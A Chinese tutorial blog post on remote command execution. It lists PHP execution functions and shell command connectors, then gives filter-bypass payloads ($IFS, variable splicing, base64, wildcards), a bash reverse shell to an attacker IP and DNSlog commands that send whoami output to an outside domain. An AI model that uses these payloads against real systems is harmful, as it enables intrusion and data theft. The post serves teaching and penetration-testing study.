RCE(命令执行)详解

RCE(命令执行)

1.1、简介

1.1.1、原理

通过命令连接符将恶意命令拼接到正常函数中,从而执行系统命令。

1.1.2、命令执行函数

1、system
<?php system('whoami');?>
2、exec
<?php exec('whoami');?>
3、shell_exec
<?php echo shell_exec('whoami');?>
4、passthru
<?php passthru('whoami');?>
5、popen
<?php popen('touch test.txt',"r");?>
6、proc_open
<?php 
$proc=proc_open("whoami",
array("pipe","r"),
array("pipe","w"),
array("pipe","w")              
),$pipe;
print stream_get_contentss($pipes[1]);
?>
7、反引号
<?php echo `whoami`;?>

1.1.3、连接符

Windows
1&
&前面为假,则直接执行&后面的语句。
&前面为真,则&前后都执行。
2&&
&&前面的语句为假,则直接报错,&&后面的语句也不执行。
&&前面的语句为真,则&&前面的语句都执行。
3|
|前面的语句为假,则直接报错,|后面的语句也不执行。
||前面的语句为真,则执行|后面的语句。
4||
||前面的语句为假,则执行||后面的语句。
||前面的语句为真,则只执行||前面的语句,不执行||后面的语句。
Linux
1、;(Linux特有)
;使多个命令顺序执行,前面的命令和后面的命令都会执行。
┌──(root㉿popoy)-[/]
└─# id;id            
uid=0(root) gid=0(root) 组=0(root)
uid=0(root) gid=0(root) 组=0(root)
2、&
&的前面命令都执行。
3、&&
&的前面命令都执行。
4、|
|的前面的命令输出作为后面的命令输入,前面的命令和后面的命令都会执行,但是只显示后面的命令的执行结果。
5、||
||前面的命令执行成功,前面的命令执行成功,后面的命令就不会执行;若前面的命令执行失败,则会执行后面的命令。

1.2、绕过

1.2.1、空格绕过

1、${IFS}绕过

[root@wang /]# cat${IFS}nginx.conf

2、$IFS$9

[root@wang /]# cat$IFS$9nginx.conf

3、制表符(TAB)

%09是制表符的URL编码,可以用%09来代替空格,绕过空格过滤。

http://xxxx/?ip=127.0.0.1;cat%09nginx.conf

4、{}绕过

[root@wang /]# {cat,nginx.conf}

5、<绕过

[root@wang /]# cat<nginx.conf

1.2.2、关键词绕过

1、变量绕过

[root@wang /]# a=c;b=at;$a$b nginx.conf

2、空变量绕过

[root@wang /]# cat${x} nginx.conf

3、系统变量绕过

${SHELLOPTS}是系统变量,可以利用系统变量的字符串拼接绕过过滤。

[root@wang /]# echo ${SHELLOPTS}
braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor
[root@wang /]# echo ${SHELLOPTS:3:1}
c
[root@wang /]# ${SHELLOPTS:3:1}at nginx.conf

4、\绕过

[root@wang /]# c\a\t nginx.conf

5、通配符绕过

*代表0到多个任意字符。
?表示一个字符。
[]内为字符范围,代表该字符范围中的任一一个字符。
[root@wang /]# cat ?gin?.conf

7、base64

[root@wang /]# `echo "aWQ="|base64 -d`
uid=0(root) gid=0(root)=0(root)
#base64 -d对命令进行解码。

8、expr和awk绕过

#通过expr和awk命令从其他文件中获取字符并进行命令构造。
#expr:字符串截取。
[root@wang /]# expr substr "this is a test" 3 5
is is

1.2.3、无回显绕过

1、反弹shell绕过

攻击主机:
┌──(root㉿popoy)-[~]
└─# nc -lvp 9999
目标主机:
[root@wang /]# bash -i >& /dev/tcp/192.168.41.133/9999 0>&1
#IP地址转换为十进制或16进制,然后可以使用通配符替换关键字。
[root@wang /]# bash -i >& /dev/tcp/3232246149/9999 0>&1

2、DNSlog

curl 2iz2m2.dnslog.cn/`whoami`
ping `whoami`.2iz2m2.dnslog.cn
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值